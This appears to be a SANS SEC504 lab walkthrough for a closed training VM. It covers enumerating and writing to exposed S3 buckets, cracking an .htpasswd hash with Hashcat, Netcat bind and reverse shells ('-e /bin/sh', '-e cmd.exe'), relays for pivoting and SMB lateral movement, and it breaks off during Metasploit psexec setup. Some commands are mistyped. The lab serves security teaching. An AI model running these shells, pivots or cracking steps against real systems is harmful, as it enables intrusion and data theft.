sec504@slingshot:~$ cat cewl-output.txt | tr [:upper][:lower] > cewl-wordlist.txt

sec504@slingshot:~$

**Bucket Discovery, CeWL List**

Repeat the bucket\_finder attack again, this time using the CeWL wordlist cewl-wordlist.txt as a list of suffixes for the bucket prefix. Falsimentis-.

*Question: What is the name of the Falsimentis bucket that discloses engineering diagrams?*

To create the custom bucket name list with the CeWL suffixes, use the Awk command, as shown here.

sec504@slingshot:~$ awk ‘{print “falsimentis-” $1}’ cewl-wordlist.txt > bucketlist3.txt

sec504@slingshot:~$

Repeat the bucket\_finder attack, this time using the bucketlist3.txt file, as shown here.

sec504@slingshot:~$ bucket\_finder.rb bucketlist3.txt | tee bucketlist3-output.txt

sec504@slingshot:~$ head bucketlist3-output.txt

Using the results from bucket\_finder, exclude the lines that contain the string “does not exist”, as shown here.

sec504@slingshot:~$ grep -v “does not exist” bucketlist3-output.txt

Bucket Found: falsimentis-ai (<https://s3.amazonaws.com/falsimentis-ai>)

<http://s3.amazonaws.com/falsimentis-ai/4001-composite-photo.jpg>

[http://s3.amazonaws.com/falsimentis-ai/4001-masks-composite.jpg](http://s3.amazonaws.com/falsimentis-ai/4001-composite-photo.jpg)

<..SNIPPED..>

Bucket found but access denied: falsimentis-eng

Using the third bucket list generated from the CeWL data we discover a new bucket *falsimentis-ai*, which includes several image files. Since these files are publicly accessible, you can download them using the AWS command line tool, or browse to the disclosed URLs in Firefox to see the engineering schematics.

**Why This Lab is Important**

In this lab we looked at the steps an attacker will take to identify insecure cloud storage buckets. Since all cloud buckets for a given provider must have a globally unique name, an attacker can guess bucket names and then enumerate the privileges for identified buckets. The tools to discover and enumerate these buckets, bucket\_finder and the AWS command line tool are straightforward to use. The complexity comes from the development of a list of bucket names to use when searching for buckets. Using information observed from a target organization, such as links to cloud services or keywords and metadata retrieved through spidering attacks, an adversary can build lists of keywords to use when searching for buckets. After discovering a bucket, an attacker can use the AWS command line tool to assess the security of the bucket further, determining if the bucket is not only public, but potentially writable as well. As defenders, it is important for us to understand these concepts, so that we can apply similar techniques to identify vulnerable cloud storage buckets in our own organizations, and to develop policies and audit procedures to ensure that sensitive data is not disclosed in this manner.

**Bonus (If Time Permits or Homework)**

There are several opportunities to continue learning and experimenting with S3 buckets and the data disclosed in public buckets in this lab exercise.

**Additional Public Falsimentis Bucket**

Use the CeWL data to discover another public bucket used by Falsimentis.

*Question*:*What is the yet-undiscovered Falsimentis bucket name disclosing several images?*

In the previous Awk commands, we generated bucket lists using *falsimentis-* as a prefix, followed by the CeWL keywords. Bucket names may include the company name and a hyphen as a prefix, but they may also be used with suffixes or different separators (AWS S3 buckets can use a dot, or a hyphen, or no separator at all). Consider additional opportunities to build a new bucket name list, combining the CeWL data with prefix, suffixes and different separators. Use the following Awk commands to build a large list of bucket names, applying different techniques for forming the bucket name using the CeWL data, as shown here. Note the use of >> to append the output of Awk to the file.

sec504@slingshot:~$ awk ‘{print “falsimentis.” $1}’ cewl-wordlist.txt >> bucketlist4.txt

sec504@slingshot:~$ awk ‘{print “falsimentis.” $1}’ cewl-wordlist.txt >> bucketlist4.txt

sec504@slingshot:~$ awk ‘{print “falsimentis.” $1}’ cewl-wordlist.txt >> bucketlist4.txt

sec504@slingshot:~$ awk ‘{print “falsimentis.” $1}’ cewl-wordlist.txt >> bucketlist4.txt

sec504@slingshot:~$ awk ‘{print “falsimentis.” $1}’ cewl-wordlist.txt >> bucketlist4.txt

sec504@slingshot:~$ wc -l bucketlist4.txt

2585 bucketlist4.txt

In this example I have not created a list of words with *falsimentis-WORD* since we already tested that permutation in bucketlist3.txt. Use the bucketlist4.txt file to identify any new Falsimentis buckets, as shown here.

sec504@slingshot:~$ bucket\_finder.rb bucketlist4.txt | tee bucketlist4-output.txt

…

sec504@slingshot:~$ grep -v “does not exist” bucketlist4-output.txt

Bucket Found: cats-falsimentis ( <http://s3.amazonaws.com/cats-falsimentis>)

<http://s3.amazonaws.com/cats-falsimentis/cat-1045782_1920.jpg>

(3 more rows)

…

*Answer: Falsimentis has another bucket named cats-falsimentis with pictures of cats.*

**Writable Bucket**

In this exercise we identified several S3 buckets, some of which are publicly accessible. While Bucket\_finder is useful to identify these buckets, it does not tell us if the buckets are also *writable*.

*Question: Of all the identified buckets, which ones are writable?*

Exclude the *mybucket2* bucket from your analysis.

A cloud storage bucket can be publicly writable independent of other policy settings. To test if a bucket is writable, first determine if it exists using bucket\_finder, then try to copy any file to the bucket using the AWS command line tool, as shown here.

sec504@slingshot:~$ aws s3 cp pslist.txt s3://movies/

Upload failed: ./pslist.txt to s3://movies/pslist.txt An error occurred (AccessDenied) when calling the PutObject operation: Access Denied.

Here we see the copy operation fails since the bucket is not writable. We can apply this same technique to other buckets as well. To answer this question, repeat the copy operation using the AWS command line tool for other bucket names discovered in this lab exercise, as shown here.

sec504@slingshot:~$ aws s3 cp pslist.txt s3://certificates

Upload failed: ./pslist.txt to s3://certificates/pslist.txt An error occurred (AccessDenied) when calling the PutObject operation: Access Denied.

sec504@slingshot:~$ aws s3 cp pslist.txt s3://dev

Upload failed: ./pslist.txt to s3://prod/pslist.txt An error occurred (AccessDenied) when calling the PutObject operation: Access Denied.

sec504@slingshot:~$ aws s3 cp pslist.txt s3://prod

Upload failed: ./pslist.txt to s3://prod/pslist.txt An error occurred (AccessDenied) when calling the PutObject operation: Access Denied.

sec504@slingshot:~$ aws s3 cp pslist.txt s3://falsimentis-eng

Upload failed: ./pslist.txt to s3://falsimentis-eng/pslist.txt An error occurred (AccessDenied) when calling the PutObject operation: Access denied.

sec504@slingshot:~$ aws s3 cp pslist.txt s3://falsimentis-ai

Upload failed: ./pslist.txt to s3://falsimentis-ai/pslist.txt An error occurred (AccessDenied) when calling the PutObject operation: Access denied.

sec504@slingshot:~$ aws s3 cp pslist.txt s3://[www.falsimentis.com/](http://www.falsimentis.com/) upload: ./pslist.txt to s3://[www.falsiementis.com/pslist.txt](http://www.falsiementis.com/pslist.txt)

*Answer: The* [*www.falsimentis.com*](http://www.falsimentis.com) *(*[*http://www.falsimentis.com*](http://www.falsimentis.com)*) bucket is publicly readable, and writable.*

**Final Falsimentis Bucket with Customer Data**

Identify one final publicly-accessible Falsimentis bucket that discloses customer data.

*Question: How many customer records are disclosed in the Falsimentis customer data bucket?*

There are several opportunities to identify the final Falsimentis bucket. The question offers a hint by disclosing this as a *customer data* bucket, which may bring to mind bucket prefixes and suffixes such as cust and customer. Alternatively, you can use Awk to generate another permutation bucket name list, this time using the original ~/labs/s3/bucketlist.txt list of buckets as a new set of prefixes and suffixes to experiment with, as shown here.

sec504@slingshot:~$ awk ‘{print “falsimentis-” $1}’ ~/labs/s3/bucketlist.txt >> bucketlist5.txt

(4 more lines)

sec504@slingshot:~$ wc -l bucketlist5.txt

9264 bucketlist5.txt

Use the new list of bucket names to search for the Falsimentis customer bucket, as shown here.

sec505@slingshot:~$ bucket\_finder.rb bucketlist5.txt | tee bucketlist5-output.txt

…

sec504@slingshot:~$ grep -v “does not exist” bucketlist5-output.txt

Bucket Found: falsimentis-cust (<http://s3.amazonaws.com/falsimentis-cust>)

http://s3.amazonaws.com/falsiementis-cust/customer-pipeline-Q3.json

Bucket found but access denied: falsimentis-eng

Here we see the name of the final Falsimentis bucket, *falsimentis-cust.* Bucket\_finder reveals that the bucket has a single file named customer-pipeline-Q3.json. Retrieve the file using the AWS command line tool, as shown here.

sec504@slingshot:~$ aws s3 cp s3://falsimentis-cust/customer-pipeline-Q3.json .

Download: s3://falsimentis-cust/customer-pipeline-Q3.json to ./customer-pipeline-Q3.json

Here the trailing . indicates that the file should be copied to the current directory on the local system. The customer-pipeline-Q3.json file is a list of JSON records, formatted as a single line of text, as shown here.

sec504@slingshot:~$ ls -l customer-pipeline-Q3.json

sec504@slingshot:~$ wc -l customer-pipeline-Q3.json

It is fairly common for JSON files to be encoded as a single line, since JSON does not need line terminators to convey data. Reading the file with cat will display all of the data as a single line, which makes it difficult to evaluate the data. Instead, we ca use JQ to examine the data structure, as shown here.

sec504@slingshot:~$ jq “.” customer-pipeline-Q3.json | head

By piping the data to head we see the first 10 lines of decoded data. The data structure can be interpreted as follows:



By evaluating the data format with JQ, we see that the JSON file is a collection of customer records in an array. Using JQ, we can count the number of elements in the array using the length function, as shown here.

sec504@slingshot:~$ jq “length” customer-pipeline-Q3.json

421 .

*Answer: There are 421 records disclosed in the Falsimentis customer data bucket.*

**Protected Access Password Recovery**

In our analysis of the [www.falsimentis.com](http://www.falsimentis.com) bucket, we observed the /protected directory that disclosed a JSON file. In addition to the JSON file, the .htpasswd file is also accessible. This file stores a password hash used to restrict access to the [www.falsimentis.com/protected](http://www.falsimentis.com/protected) website.

*Question: What is the username and plaintext password that grants access to* [*www.falsimentis.com/protected*](http://www.falsimentis.com/protected)*?*

Use the wordlist file /usr/share/wordlists/passwords.txt on Slingshot Linux to answer this question. Examine the password hash information using cat, as shown here.

sec504@slingshot:~$ cat ~/protected/.htpasswd

lwastsham:$apr1$KYxkC7nP$EcuHm3.iStKpM6P8ix0DN1

Here we see the username is lwatsham, followed by the password hash. Note the dollar-sign separator for the password hash information, similar to that of the standard Linux /etc/shadow file where apr1 is the hash type, KYxkC7nP is the salt, and EcuHm3.iStKpM6P8ix0DN1 is the password hash. The *apr1* identifier is used for Apache-based HTTP digest authentication files. This hash type is MD5 with 1000 iterations to slow down password cracking attacks. Identify the supported Hashcat hash mode for the Apache HTTP digest authentication hash using the –identify argument, as shown here.

sec504@slingshot:~$ hashcat –identify protected /.htpasswd

No hash-mode matches the structure of the input hash.

sec504@slingshot:~$ hashcat –identify –user protected/.htpasswd

The following hash-mode match the structure of your input hash:

# | Name

Category

=====+=====================================================================================+====================================================

1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) | FTP, HTTP, SMTP, LDAP Server

Here we see the hash type is 1600. When supplying a hash to Hashcat, it expects the hash to be on a line by itself (including the hash type and salt values). If you try to run Hashcat with the .htpasswd file as-is, you will get an error, as shown here.

sec504@slingshot:~$ hashcat -a 0 ~/protected/.htpasswd/usr/share/wordlists/passwords.txt

Hashcat (v6.2.5) starting in autodetect mode

OpenCL API (OpenCL 1.2 LINUX) - Platform #1 [Intel ® Corporation]

====================================================================================================

\*Device #1: Intel ® Core (™) i9-9980HK CPU @ 2.40GHz, 1928/3921 MB (490MB allocatable), 2MCU

No hash-mode matches the structure of the input hash.

Started: Tue Jun 20 10:53:05 2023

Stopped: Tue Jun 20 10:53:05 2023

The *no hash-mode matches* error is due to the presence of the username preceding the password hash information. Add the –user argument to tell Hashcat to expect the username information before the password hash. Run Hashcat as shown here to recover the password.

sec504@slingshot:~$ hashcat -a 0 –user ~/protected/.htpasswd/usr/share/wordlists/passwords.txt

*Answer: The username and password are lwatsham and hoera1991*

**Cleanup**

Terminate the S3 container services by running the stops3 script, as shown here.

sec504@slingshot:~$ stops3

Stopping Docker containers for Cloud Bucket Discovery lab

Www

S3

Done

You can optionally delete temporary files generating during the lab as well:

sec504@slingshot:~$ rm -fr pslist.txt protected bucketlist\*.txt /opt/hashcat/hashcat.potfile

sec504@slingshot:~$

**Additional Resources**

The bug bounty program HackerOne often discloses bounties paid to researchers who identify vulnerable cloud bucket storage services. One interesting example is a bounty paid for the identification of an insecure S3 bucket for Uber (<https://hackerone.com/reports/361438>). You can also search the HackerOne site for other examples. In this lab we used a simulated cloud to target services that match the functionality of Amazon S3 buckets. You can perform similar analysis for Google Compute Buckets using GCPBucketBrute (<https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/>), or for Azure Blob Storage using this author’s tool, BasicBlobFinder @ Github (<https://github.com/joswr1ght/basicblobfinder>).

**Lab 3.5: Netcat’s Many Uses**

**Brief Intro**

Netcat is a powerful tool. In this lab, you will use four different modes of Netcat:

* *Mode 1: Making connections to open ports*
* *Mode 2: Data transfer (moving files)*
* *Mode 3: Backdoors*
* *Mode 4: Relays*

**Requirements for This Lab**

In this lab, you will use both your Slingshot Linux VM and the Windows 10 VM. Make sure both VMs are running before continuing with this lab exercise.

**Try It Yourself**

Fire up Netcat and make different connections using the four modes listed above.

**Walkthrough**

In this lab, you’ll be making extensive communication from your Linux VM to your Windows VM, and vice versa. First, test that your VMs are networked correctly.

**Verify Connectivity**

On the Linux VM, open a terminal and test connectivity to the Windows VM using the ping utility:

sec504@slingshot:~$ ping -c 3 10.10.0.1

Repeat this step, this time testing the connectivity from the Windows VM to the Linux VM from a PowerShell session:

PS C:\Users\Sec504> ping 10.10.75.1

If you are unable to get a response from the Windows VM or the Linux VM, take a look at the VM-Connectivity-Test.html module for troubleshooting steps.

**Mode 1: Simple Client and Listener “Chat”**

To start getting familiar with Netcat, create a listener on the Linux VM, then connect to the listener from Windows. INput you type on one side will automatically appear on the other side. First, open a terminal on Linux. From the terminal, start a Netcat listener on port 2222, as shown:

sec504@slingshot:~$ nc -l -p 2222

Next, switch to your Windows VM. From the PowerShell session, connect to the Linux Netcat listener:

PS C:\Users\Sec504> nc 10.10.75.1 2222

*This Netcat connection is a client that does nothing but connect to the listener on the Linux VM.*

Next, type a message in the client (Windows) or the listener (Linux) and press Enter to see it show up on the other side!

After sending some data back and forth as *chat* messages, close both the Netcat sessions by pressing CTRL + C in either the Linux terminal or the Windows PowerShell session. Notice how both Netcat listeners exit, since the connection is terminated.

Next, you’ll expand on this idea.

**Mode 2: Pull a File**

In this next step, you will set up a listener on Windows, waiting to deliver a file to any client that connects. Then you will use the client on Linux to make a connection to the listener to grab the file. First, create the file to transfer. From the PowerShell session, create a file using the echo utility, as shown.

PS C:\Users\Sec504> “this is text” | Out-File -FilePath text.txt

Next, create a listener on a local port and direct the text file into the input of this listener

PS C:\Users\Sec504> Get-Content text.txt | nc -l -p 1234

Next, switch to your Linux VM. From your terminal, create a Netcat client that connects to the listener, gets the file, and writes it to received.txt:

sec504@slingshot: nc 10.10.10.1 1234 > received.txt

There’s no indication that Netcat has completed. It takes milliseconds to finish transferring this small file, so just press CTRL + C in the Linux terminal to stop Netcat. Next, look at the file by typing:

sec504@slingshot:~$ cat received.txt

This is text

You just transferred the file using Netcat in TCP mode. If you have extra time, try this in UDP mode. With UDP mode, press Enter after connecting with the client to force it to flush the file contents. Also, remember: UDP mode is activated on both the client and the server with the -u option.

**Mode 2: Push a File**

In the previous step, you created a listener waiting to send a file, which you *pulled* from the target using a client connection. Next, you will set up a listener to wait for a client to connect and *push* a file to the listener. First, from your Linux terminal, create a file to send. Next, switch to your Windows VM. From the PowerShell session, create a Netcat listener waiting for the file:

PS C:\Users\Sec504> nc -l -p 4321 | Out-File -FilePath received2.txt

Next, switch back to your Linux VM and create a Netcat client to *push* the file:

sec504@slingshot:~$ cat file.txt | nc 10.10.0.1 4321

There is no indication of Netcat’s success. Press CTRL + C to drop the connection, then look at the file transferred.

PS C:\Users\Sec504> Get-Content received2.txt

SANS

Think about how this lab differs from the previous one. Before, we were *pulling* a file from a listener back to a client. Here the client is *pushing* the file to the listener. Note that it doesn’t matter which side is Linux and which is Windows. We can pull or push files to or from either either operating system.

**Mode 3: Create a Linux Backdoor**

Now that we’ve transferred files, let’s look at creating a shell listener to use as a backdoor on the Linux VM. In this step, you will create a listening backdoor shell on Linux and connect to it from the Windows VM.

Earlier in this exercise, on Linux, you created a Netcat listener on port 2222. This listener was used as a *chat* server, waiting for a connection from a Netcat client. You will repeat that step here, but instead of using it for a chat service, you will use it to execute a command shell. From the Linux terminal, issue the following Netcat command to listen on TCP port 7777, adding the -e /bin/sh argument to invoke the sh shell when the client connects:

sec504@slingshot:~$ nc -l -p 7777 -e /bin/sh

Next, switch to the Windows VM PowerShell session. Create a Netcat client that connects to the Linux VM listener:

PS C:\Users\Sec504> nc 10.10.75.1 7777

When you connect to the listener, you won’t see a shell prompt because that is not passed back to the attacker using this technique. You just see a blank line, waiting for you to enter commands on your Windows box for execution on the Linux shell. Enter the following commands, one per line, pressing enter after each command, and observe the responses that are returned:

* Whoami
* Id
* Pwd

These commands, typed in the attacker’s machine (your Windows VM), are transferred to the listener on the victim machine (your Linux VM), where they are executed. Note that there is no output on the victim’s screen because the standard output of the victim listener is attached to the command shell /bin/sh and is carried back to the attacker across the network by Netcat. This output is then displayed on the attacker’s screen. Feel free to experiment and run additional commands using the backdoor connection. When you are finished, press CTRL + C to drop the connection. If you have extra time, try this using UDP mode on the client and listener.

**Mode 3: Reverse Windows Shell**

In the previous step, you set up a listener waiting for a connection before executing a shell. Next, you will create a *reverse shell* connection from a Netcat client (on Windows) to a Netcat listener (on Linux). This is like pushing an outgoing connection from client to listener with commands typed at the listener (a classic reverse shell). First, create a listener in the Linux VM that will be your attacking system:

sec504@slingshot:~$ nc -l -p 8888

This listener doesn’t do anything other than wait for a connection. It takes whatever you type and sends it to the other side as a response after a connection is established by a client. The attacker would execute this command on their own machine. Next, you will send a shell to the listening server as a client. This is a step the attacker would run on the victim machine to make a reverse TCP shell connection. From the PowerShell session, send the cmd.exe shell to the Netcat listener:

PS C:\Users\Sec504> nc 10.10.75.1 8888 -e cmd.exe

Return to the Linux VM (the attacker system). Notice how the Netcat listener prompt has changed to show a Windows Command Prompt interface. This is because the Netcat client sent the cmd.exe shell to the listener, sending the output of the Command Prompt over the Netcat socket to the Linux attacker system. In the terminal window displaying the Windows Command Prompt, run the following commands:

* Echo %username%
* Dir
* Hostname

Feel free to experiment and run additional commands using the reverse TCP shell. When you are finished, press CTRL + C to drop the connection.

**Mode 4: Create Linux Relay**

Next, you will create a Linux Netcat relay. Your challenge is to devise a command that allows to relay a curl request through a pivot system to retrieve a CTF tip on the protected target system. To model this scenario, open three terminal windows on Slingshot Linux. We will refer to these three terminal windows as:

* Attacker
* Target
* Pivot

Arrange the three windows so the attacker terminal is on the left, the target terminal is top-right, and the pivot terminal is bottom-right, as shown here. In the *target* terminal window, run the gonctarget command. Leave the command running. This is the web server target. In the *pivot* terminal window, run the goncpivot command. You will see a new shell prompt. Your Slingshot Linux system will match the following example.

<..SNIPPED..>

FW - Blocks all inbound to 172.30.0.55, attacker: 172.30.0.1, target: 172.30.0.55, pivot: 172.30.0.50

Using a Netcat relay, retrieve the contents of the web server at 172.30.0.55 using curl. Note that you cannot access the web server directly from the attacker terminal, as shown here.

sec504@slingshot:~$ nc -vvv -z -w3 172.30.0.55 80

172.30.0.55: Inverse host lookup failed: Unknown host (UNKNOWN)[172.30.0.55] 80 (http): Connection timed out sent 0, rcvd 0

Here we attempted to connect to the target system at 172.30.0.55 with Netcat’s *zero I/O mode* (-z) with a 3 second timeout (-w3). This command reports *connection timed out* indicating that we cannot directly connect to the web server on the target; the target system is protected by a firewall that denies inbound access.

In this scenario though, imagine that an attacker has compromised the internal *pivot* system, and the pivot system can connect to the target host, as shown here.

pivot :~$ nc -vvv -z -w3 172.30.0.55 80

172.30.0.55: Inverse host lookup failed: Unknown server error: No such file or directory (UNKNOWN)[172.30.0.55] 80 (?) open sent 0, rcvd 0

Running the same Netcat connection test from the pivot system indicates that we are not obstructed by the firewall in accessing the web server. However, the pivot system does not have the curl command, as shown here.

pivot:~$ curl <http://172.30.0.55>

-bash: curl: command not found

Use a combination of commands on the pivot system and the attacker system to retrieve the web page on the target system to discover a valuable tip for the CTF.

**Answer**

An attacker will often pick the solution with the least complexity to meet their goals. In this scenario, the pivot system can listen on TCP port, redirecting the traffic on the port to the target system as shown here.

To listen on TCP/8080, the pivot system will start a Netcat listener: nc -l -p 8080.

The inbound traffic on TCP/8080 must be forwarded to the target system on TCP/80 using a Netcat client: nc 172.30.0.55 80.

The challenge here is to pipe the traffic from the listener to the target, and for the return traffic from the target to pass through the pivot back to the attacker.

For this exercise, we need to establish a relay on the pivot system. To minimize complexity, the pivot system can listen on TCP/8080, and forward received traffic to the target system. This can be done with a simple unnamed pipe (|), but that will only forward the traffic one direction. To get the traffic to return to the attacker, we also need to use a named pipe. First, create the named pipe the named pipe on the *pivot* host as shown here. The name of the named pipe is not significant; we’ll use namedpipe.

pivotL~$ mkfifo namedpipe

pivot:~$ ls -l namedpipe

Prw-r–r– 1 victimus victimgr 0 Jul 12 18:38 namedpipe

Once the named pipe is created, we can create the pivot relay using Netcat, as shown here.

pivot:~$ nc -l -p 8080 < namedpipe | nc 172.30.0.55 80 > namedpipe

Next, use curl to make a request from the attacker system to the pivot system on TCP/8080. When you press *Enter*, watch the target web server window.

sec504@slingshot: curl <http://172.30.0.50:8080>

<html>

You should write this password down for the CTF: BlueTeddy1234$

</html>

Here you can see we’ve accessed the target web server through the pivot point using the Netcat relay. This is further confirmed by the logging information on the web server target, as shown here.

172.30.0.50 - - [12/Jul/2021:18:41:46 +0000] “GET / HTTP/1.1” 200 78 “ -” “curl/7.58.0” “-”

Note that the web server records the HTTP GET request as coming from 172.30.0.50 (the pivot host), not the attacker.

**Cleanup**

Press CTRL + C in the target terminal to close the target web server. Run exit in the pivot terminal to exit the pivot host.

**Why This Lab is Important**

As stated at the start of this lab, Netcat is a powerful tool. You should test how this tool - or ones like it - would behave in your work environment (remember, you must have written permission). For many organizations, networks are not sufficiently segmented, and these tools can allow an attacker to have free reign on your network. Not only is Netcat powerful (and fun) it helps highlight what a create and skillful attacker can do with built-in capabilities!

**Bonus (If Time Permits or for Homework)**

**SMB Relay Bonus**

Netcat offers an attacker a lot of powerful flexibility. In addition to creating shells and transferring data, Netcat is also useful for lateral movement. In this bonus lab, start the SMB target container from the Linux host with the gosmbtgt command, as shown here.

sec504@slingshot:~$ gosmbtgt

Starting Docker Service …. Done.

Smbd version 4.10.5 started. Copyright Andrew Tridgell and the Samba Team 1992-2019 daemon\_ready: daemon ‘smbd’ finished starting up and ready to serve connections

Nmbd version 4.10.5 started. Copyright Andrew Tridgell and the Samba team 1992-2019

Daemon\_ready: daemon ‘nmbd’ finished starting up and ready to serve connections

Consider the network diagram below, where the Linux system at 10.10.75.1 is compromised by an attacker. The attacker wants to exfiltrate data from the second Linux host over SMB at 172.30.0.22 from their Windows system.

W10 (Attacker/10.10.0.1) => Pivot (10.10.75.1) => Target (SMB/172.30.0.22)

Netcat can be applied here to accommodate lateral movement, pivoting through the Linux system at 10.10.75.1. Use the first Linux system at 10.10.75.1 to allow Windows to connect to the 172.30.0.22 system using the net use \*\\targetip\data /U:erigby weddingrice command.

*Change targetip accordingly for your Netcat relay solution.*

The relay must accept traffic from the Windows machine on TCP/445, and then forward it to TCP/445 on the SMB target server at 172.30.0.22.

Linux only allows root to open listeners on ports under 1024. If you wish to listen on a TCP port under 1024, you must run Netcat with sudo privileges. From a terminal window on the Linux host at 10.10.75.1, create a relay tunneling TCP/445 through the Linux system, as shown here.

sec504@slingshot:~$ mkfifo namedpipe

sec504@slingshot:~$ sudo nc -l -p 445 < namedpipe | nc 172.30.0.22 445 > namedpipe

Switch to the Windows virtual machine and connect to the SMB target system by connecting to the Netcat listener on the 10.10.75.1 system. Run net use with an asterisk to get a drive letter assigned to the mounted share. Run net use with no arguments to list the connected share points.

PS C:\Users\Sec504> net.exe use \* \\10.10.75.1\data /u:erigby weddingrice

Drive Z: is now connected to \\10.10.75.1\data.

The command completed successfully.

PS C:\Users\Sec504> net.exe use

New connections will be remembered.

Status Local Remote Network

—--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

OK Z: \\10.10.75.1\data Microsoft Windows

Network

The command completed successfully.

PS C:\Users\Sec504>

*With Netcat, we have created a pivot point. Where previously the attacker could not connect to the SMB Linux system from Windows, now connections to the 10.10.75.1 Linux system on TCP/445 forward automatically to the SMB target. This Netcat relay techniques allows the attacker to extend their access to new targets through an initially compromised host.*

With the session established, connect to the SMB target system from the command line and access the available data, as shown here.

PS C:\Users\Sec504> z:

PS Z:\> dir

Directory: Z: \

Mode LastWriteTime Length Name

—---------------------------------------------------

D—-- 8/12/2021 3:04PM 1Password

—---- 8/12/2021 1:58PM 963 lyrics.txt

—---- 8/12/2021 1:58PM 158146

StPetersChurchWoolton-Liverpool.jpg

PS Z:\>

Browse the directories on the share and read the available files to obtain *erigby’s* GoFundMe password from Windows.

**SMB Relay Bonus Cleanup**

When you are finished with the bonus part of the lab exercise, return to the PowerShell session. Change to the C: drive, then close the mapped drive letter with net.exe, as shown here.

PS Z:\> c:

PS C:\Users\Sec504> net use /del Z:

Z: was deleted successfully.

Next, return to the window where you ran Netcat with the named pipe and press CTRL + C to close the connection. Finally, return to the window where you can gosmbtgt and press CTRL + C to terminate the Linux container.

**Lab 4.1: Metasploit Attack and Analysis**

**Brief Intro**

In this lab, we’ll attack the Windows VM from the Linux VM. In doing so, we’ll expose you to some of the features of Metasploit. You will learn what skillful attackers can do to a victim system. Additionally, you’ll see that even advanced attackers will leave traces that skillful defenders can use to track what the adversary is doing.

**Requirements for This Lab**

In this lab, you will use both your Slingshot Linux VM and the Windows 10 VM. Make sure both VMs are running before continuing with this lab exercise.

**Try It Yourself**

Use the psexec module and attack the Windows system. Pivot to a process and retrieve password hashes from the lsass.exe process. After exploitation, use the Windows VM to identify artifacts that allow you to detect attacker behavior with Hayabusa.

**Walkthrough - Goals of Metasploit Lab**

The goals of this lab are twofold. First, we look at some of the most useful capabilities of Metasploit: msfconsole, the psexec module, the Meterpreter payload with a reverse connection, the hashdump features, and process migration. Second, we analyze the systems as they are attacked, looking at TCP port usage, process activity, and event logs. In other words, this lab is structured so that we can see how Metasploit is used to attack, but also so we can analyze its impact on the victim system itself. To achieve these goals, the lab is broken into three phases:

* First, we set up the systems to communicate for the attack.
* Second, we launch the attack.
* Finally, we analyze the impact of the attack on Windows.

For this lab, you will use your Slingshot Linux VM to attack your Windows machine. In the Linux VM, you will use the Metasploit psexec module to attack Windows, injecting the Meterpreter payload (which runs in a powershell.exe process to run code from an attacker DLL) with communication via a reverse TCP connection going from Windows back to Linux. You will type commands on Linux into a meterpreter prompt, but they take effect on your Windows machine.

**Verify Connectivity**

On the Linux VM, test connectivity to the Windows VM using the ping utility:

sec504@slingshot:~$ ping -c 3 10.10.0.1

Next, test the connectivity from the Windows VM to the Linux VM using Test-NetConnection 10.10.75.1:

PS C:\Users\Sec504> Test-NetConnection 10.10.75.1

ComputerName: 10.10.75.1

RemoteAddress: 10.10.75.1

InterfaceAlias: Ethernet

SourceAddress: 10.10.0.1

PingSucceeded: True

PingReplyDetails (RTT): 0 ms

If you are unable to get a response from the Windows VM or the Linux VM, take a look at the Testing Virtual Machine Connectivity module for troubleshooting steps.

**Launch MSFconsole**

From the Slingshot Linux VM, open a terminal. Next, start msfconsole from the terminal, as shown here.

sec504@slingshot:~$ msfconsole -q

msf6>

*When you first start Metasploit, you will see the message Welcome to Metasploit Framework Initial Setup followed by Metasploit Framework Initial Setup Complete. These messages will only appear once, and can be safely ignored. Normally, when you start Metasploit, you will see an ASCII art banner. Several dozen banners are available, selected randomly at startup by Metasploit. Adding -q surpasses the banner.*

**View Metasploit Exploits**

From the msf6 > prompt, examine the many Metasploit exploits available, as shown here:

msf6> show exploits

This command may take a minute to complete. There are a lot of exploits! So many exploits that it exceeds the scrollback capacity of the terminal.

*TIP: You can clear your screen at any point by pressing CTRL + L.*

**Exploit Search**

Metasploit has an overwhelming number of exploits. Fortunately, Metasploit also offers a search facility to identify any Metasploit modules with a matching keyword.

From the msf6 > prompt, search for the Metasploit psexec module, using the type:exploit flag to limit the search results to matching exploits, as shown here.

msf6> search type:exploit psexec

exploit/windows/local/current\_user\_psexc, Disclosure 1999-01-01 (PsExec via Current User Token)

exploit/windows/local/wmi, Disclosure, 1999-01-01

exploit/windows/smb/ms17\_010\_psexec, Disclosure, 2017-3-14

EternalRomance/EternalSyngery/EternalChampion Remote Windows Code Execution 1999-01-01

exploit/windows/smb/psexec, Disclosure, 1999-01-01 (Microsoft Windows Authenticated User Code Execution)

exploit/windows/smb/webexec, 2018-10-24, manual, No WebExec Authenticated User Code Execution

Here we see many modules that include the string psexec. We can filter the results further by adding additional keywords. Issue the help search command to see a list of search keywords, as shown here.

Msf6 > help search

Search cve:2009 type:exploit

Search cve:2009 type:exploit platform:-linux

**Metasploit Local Shell Interaction**

If msfconsole receives a command that it doesn’t support, it passes it to the underlying OS shell to run, allowing us to interact with the OS within msfconsole. Let’s examine the list of files in the current directory by running the ls command, as shown here.

msf6> ls

[\*] exec: ls

Desktop Downloads labs wiki

This may seem like a simple thing, but it is particularly useful when uploading or downloading files to the victim system through Metasploit.

**Exploit Spotlight: psexec**

In this lab we will use an exploit that is not quite an exploit: *psexec*. It is by far the most heavily used exploit because it allows attackers and testers to use captured credentials (or hashes) to move laterally in a network. From the msf6 > prompt, examine the psexec exploit information, as shown here:

Msf6 > info exploit/windows/smb/psexec

Name: Microsoft Windows Authenticated User Code Execution

Module: exploit/windows/smb/psexec

Platform: Windows

Arch:

Privileged: Yes

License: Metasploit Framework License (BSD)

Rank: Manual

Disclosed: 1999-01-01

…

The psexec module is one of the most useful modules in all of Metasploit because it lets us run code on a target with SYSTEM privileges, using an SMB connection established with administrator credentials. It is especially useful in a fully patched Windows environment.

**Configuring Metasploit to Use psexec**

Next, configure Metasploit to launch the attack. Select the exploit/windows/smb/psexec module, as shown here.

*Metasploit supports Tab autocomplete when typing module and variable names; try it by pressing Tab halfway through each of the following words.*

Msf6 > use exploit/windows/smb/psexec

[\*] No payload configured, defaulting to windows/meterpreter/reverse\_tcp

Msf6 exploit(windows/smb/psexec) >

Metasploit will apply a default payload of windows/meterpreter/reverse\_tcp, which you can validate by running set PAYLOAD as shown here.

PAYLOAD => windows/meterpreter/reverse\_tcp

We can get a list of all the variables associated with this exploit and payload by running show options. Run the show options command as shown here.

Msf6 exploit (windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

Name Current Setting Required? Description

—----------------------------------------------------------------------------------------------

RHOSTS, range CIDR identifier, or hosts file with syntax ‘file:’, yes, the target host(s)

